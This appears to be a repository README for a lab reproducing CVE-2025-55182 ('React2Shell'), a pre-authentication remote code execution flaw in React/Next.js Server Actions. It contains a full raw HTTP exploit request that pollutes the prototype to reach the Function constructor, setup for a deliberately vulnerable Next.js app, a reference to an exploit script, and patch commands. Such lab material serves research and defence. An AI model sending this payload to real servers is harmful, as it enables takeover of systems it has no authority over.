randarts/react-rceCVE-2025-55182 취약점에 대한 샘플을 AI와 함께 작성 및 테스트 했습니다.
AI Used: Claude Opus 4.5 ⚠️ Warning: This environment is for educational and research purposes only.
| Item | Description |
|---|---|
| CVE | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| Name | React2Shell |
| CVSS | 10.0 (Critical) |
| Type | Pre-Auth Remote Code Execution |
| Cause | Prototype pollution during Flight protocol deserialization |
┌─────────────────────────┐
│ Attacker │
└───────────┬─────────────┘
│
POST Request + Next-Action Header
multipart/form-data payload
│
▼
┌───────────────────────────────────────────────────────────┐
│ Next.js Server │
├───────────────────────────────────────────────────────────┤
│ 1. Next-Action Header → Triggers Server Action │
│ 2. multipart payload → Flight protocol deserialization │
│ 3. Fake Chunk then() method invoked │
│ 4. __proto__ reference → Prototype pollution │
│ 5. Function constructor injection → RCE │
└───────────────────────────────────────────────────────────┘
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="0"
{"_response":{"_formData":{"get":"Function"}},"then":"$1:__proto__:then"}
------Boundary
Content-Disposition: form-data; name="1"
$@0
------Boundary--
Key Elements:
Next-Action header triggers Server Actionthen method for promise-like behavior$@0 reference traverses prototype chainFunction constructor via __proto__:thencd vulnerable-app
# Install dependencies
npm install
# Start development server
npm run dev
Access at http://localhost:3000
react-rce/
├── README.md
├── vulnerable-app/ # Vulnerable Next.js app
│ ├── package.json # Next.js 15.0.3 (vulnerable version)
│ └── app/
│ ├── page.js # UI (CVE info + RCE demo)
│ ├── actions.js # Server Actions
│ └── globals.css
└── exploit/ # Exploit tools (optional)
└── exploit.py # CVE-2025-55182 PoC
# Upgrade to patched version
npm install [email protected] [email protected] [email protected]